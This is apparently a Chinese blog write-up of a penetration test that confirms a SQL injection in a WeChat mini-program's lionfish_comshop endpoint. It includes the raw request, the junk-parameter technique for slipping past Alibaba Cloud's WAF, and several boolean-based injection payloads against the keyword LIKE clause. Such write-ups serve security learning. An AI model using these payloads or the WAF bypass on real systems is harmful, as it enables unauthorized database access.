序言
我:摸魚一時爽,一直摸魚一時爽啊:relieved:
大佬:還摸魚,快來搞個注入。
我:。。。
拿到資料包
GET /wxapp.php?i=undefined&t=undefined&v=undefined&from=wxapp&c=entry&a=wxapp&do=index&m=lionfish_comshop&sign=9cc540f4c25c15a1a30ae983d9f28c5d&controller=index.load_condition_goodslist&token=6e4f1c83854ca18c8e4858170a559305&pageNum=1&head_id=550.0and+(CONNECTION_ID()+like+'1')&keyword=a&type=0&good_ids=&gid=0 HTTP/1.1 Host: www.xxx.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat content-type: application/x-www-form-urlencoded
這不是已經payload都有了麼,有啥問題麼,burp走起
好吧,原來是阿里雲waf,開搞,大佬說要出資料證明注入。
0x01 判斷資料庫
既然注入點已經有了,先看看是啥資料庫唄,結果嘗試好多函式全都GG,user()、user、length()、len()、if全被攔,一攔一個準。。
既然常規函式不得行,那隨便搞個函式看看:
payload:
550.0and+(1()+like+'1')
誒嘿,報錯了,MySQL資料庫。
知道是啥資料庫,那就好辦了。
0x02 繞waf
既然是MySQL資料庫,那就可以開始構造條件判斷了,可是把筆記裡的payload一頓梭,全都被waf攔了,居然沒一個能用的,只能找找看有沒有什麼騷姿勢了,於是,,,
有啥不懂問度娘:
這篇文章提到可以用垃圾資料進行混淆,測試一下,我們這個站POST提交也可以,於是開搞。
開啟sublime,複製貼上執行,200個垃圾資料鍵值對就出來了,複製到burp,wtf?還是被攔了。
難道是鍵值對太少了?繼續,忘了複製貼上多少次了,後面測試的時候length()居然可以了。(前面一直被攔)
payload:
550.0 and+(length(1)+like+'1')
說明垃圾資料生效了,繼續
0x03 更換引數
既然waf也繞過了,也就繼續構造條件判斷語句。可是。。。
後面發現不管語句判斷正確與否,只要語法是正確的,返回結果都是一樣的。
於是檢視原先的引數,發現keyword引數才是查詢的欄位,會影響查詢返回內容。
keyword=a
keyword=b
於是對keyword引數進行注入。
payload:
keyword=a'
返回內容中得到SQL語句:
%' and gc.begin_time 1603364903 and g.total > 0
也就是注入點是在like查詢中。
payload:
a%25'or+length(1)=' 返回所有
a%25'and+length(1)=' 返回空
0x04 條件判斷
找到可構造的點,開始構造條件判斷
這裡重新試了其他函式:if、case、user()、current_user也不行,還是會被攔,搞不懂。:weary:
payload:
a%25'or+ifnull(user()%20like'n%25',1)='%
後面發現ifnull不會被攔。
a%25'or+ifnull('ra'like'r%25',1)='% true
a%25'or+ifnull('1ra'like'r%25',1)='% false
根據返回內容長度判斷條件查詢成功。
條件ture的時候返回長度為:4027
條件false的時候返回長度為:3886
繼續fuzz:然後在刪掉括號時發現報錯為欄位錯誤:
payload:
a%25'or+ifnull(user%20like'n%25',1)='%
看到這個,想起cha牛說的可以用資料庫中原本的資料來判斷SQL隱碼攻擊,於是對欄位進行爆破:
(引數字典可以用自己的也可以蒐集這個站的引數進行爆破)
這裡第一個price嘗試的時候啥都沒變化,於是換了第二個引數type
這裡爆破的時候發現返回資料長度跟在repeat的時候不一樣,經常在repeat模組驗證,得到type的第一個字母為n,於是先判斷type的長度為多少。
直接手工測試,因為爆破出來的結果很奇怪無法判斷。(玄學)
payload:
a%25'or+ifnull/**/(length(type)=6,1)='%
還好長度不長,只試到6就出來了。
接著繼續爆破type的後5位(純手工。。。)
得到最終結果:tyep=normal
最終payload:
a%25'or+ifnull(type='normal',1)='%
到這裡就成功繞過阿里雲waf,利用資料庫原有的資料證明該注入存在且可利用了。
尾聲
我:完事,來一支事後煙。
我:忘了我不抽菸了。
我:繼續摸魚
笨鳥先飛早入林,笨人勤學早成材。
轉載請註明出處:
撰寫人:fox-yu http://www.cnblogs.com/fox-yu/